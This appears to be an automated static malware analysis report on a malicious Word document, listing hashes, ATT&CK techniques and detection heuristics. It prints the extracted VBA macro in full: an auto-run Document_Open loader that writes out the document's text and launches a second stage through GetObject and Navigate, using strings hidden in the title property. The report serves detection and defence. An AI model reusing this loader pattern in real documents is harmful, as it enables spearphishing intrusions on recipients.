Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 8c1c68988b7f8016…

MALICIOUS

Office (OOXML)

65.9 KB Created: 2021-05-25 09:18:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-05-29
MD5: 3ddaceabc58db3152cd718d4812b38ea SHA-1: ef09704ed01af5f77dbb1053352f0cbb165cf835 SHA-256: 8c1c68988b7f80160ecf27a3dabed418ebc97575acb6293e90edc9fa2cf81255
202 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious OOXML document containing an obfuscated VBA macro that executes automatically via the Document_Open subroutine. The macro attempts to download and execute a second-stage payload by calling GetObject and Navigate, likely leveraging a URL embedded within the document's properties. The obfuscated nature and auto-execution point to a downloader or initial access mechanism.

Heuristics 6

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1004 bytes
SHA-256: 1f78a42d8e8533165edc6ae9bc67445f37d0628a8149796f0ac64f9617bebd15
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub Document_Open()
main
End Sub

Attribute VB_Name = "funcProcEx"
Sub main()
linkGenericRepo
End Sub

Attribute VB_Name = "storageRepo"
Function ptrProcedurePointer(optionFunc)
ptrProcedurePointer = optionFunc
End Function
Function genericPtrTextbox()
Open requestData(1) For Output As #1
Print #1, ActiveDocument.Range.Text
Close #1
End Function

Attribute VB_Name = "rightArg"
Function requestData(tableRightLink)
nextNextProcedure = Split(ActiveDocument.BuiltInDocumentProperties("title"), "|||")
requestData = nextNextProcedure(tableRightLink)
End Function
Sub linkGenericRepo()
Call genericPtrTextbox
On Error Resume Next
Call GetObject(requestData(2)).Navigate(requestData(1))
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 17408 bytes
SHA-256: a9a6ac111c8ae695086729f575c7a6d01b749b8564adb9f1bca67a7e3f8253b5

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